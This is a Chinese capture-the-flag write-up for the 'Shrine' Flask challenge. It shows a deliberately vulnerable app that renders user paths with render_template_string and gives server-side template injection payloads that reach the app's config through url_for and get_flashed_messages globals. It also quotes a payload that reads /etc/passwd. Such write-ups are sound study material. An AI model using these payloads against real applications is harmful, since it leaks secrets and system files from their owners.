[CTF]攻防世界:Shrin(SSTI)

题目:攻防世界:Shrin(SSTI)

提示:题目代码

bash 复制代码
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)
  1. /shrine/路由接收任意路径参数
  2. render_template_string()直接渲染用户输入
  3. 过滤机制:()被删除,config和self变量被设为None
  4. 无法使用 subclasses()、popen() 等带括号的函数
bash 复制代码
无法使用
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

步骤

1. 利用Flask全局函数访问current_app

Payload: /shrine/{{url_for.globals['current_app'].config.FLAG}}

原理:

url_for 是Flask内置全局函数,无需括号即可访问__globals__ 获取函数的全局变量字典(无括号)current_app

指向当前的Flask应用实例app 通过 current_app.config 访问被"隐藏"的配置

2. 利用get_flashed_messages

替代Payload:

/shrine/{{get_flashed_messages.globals['current_app'].config['FLAG']}}

原理:与url_for类似,利用另一个Flask全局函数绕过限制。

相关推荐
FreeBuf_5 小时前
沙虫病毒与供应链安全:软件供应链成为网络安全的阿喀琉斯之踵
安全·web安全
上海云盾-高防顾问6 小时前
防CC攻击不止限速:智能指纹识别如何精准抵御恶意爬虫
爬虫·安全·web安全
白山云北诗7 小时前
中小企业如何做好企业官网的网络安全
网络·数据库·web安全·ddos·cc·企业网络安全
WayneJoon.H9 小时前
2023CISCN deserbug复现
java·安全·web安全·cc链·反序列化
上海云盾-高防顾问10 小时前
API接口成攻击重灾区?高防CDN限流策略让恶意调用无所遁形
web安全·网络安全
lubiii_10 小时前
MCP应用:cursor+hexstrike-ai的安全实战
开发语言·web安全·ai·php
熙丫 1338148238611 小时前
以新国标开启网络安全保障新视野——CISAW安全运维认证助力专业人才培养
运维·安全·web安全
网安CILLE1 天前
PHP四大输出语句
linux·开发语言·python·web安全·网络安全·系统安全·php
合才科技1 天前
【要闻周报】网络安全与数据合规 1-12
安全·web安全
小李独爱秋1 天前
计算机网络经典问题透视:端到端时延和时延抖动有什么区别?
运维·服务器·计算机网络·安全·web安全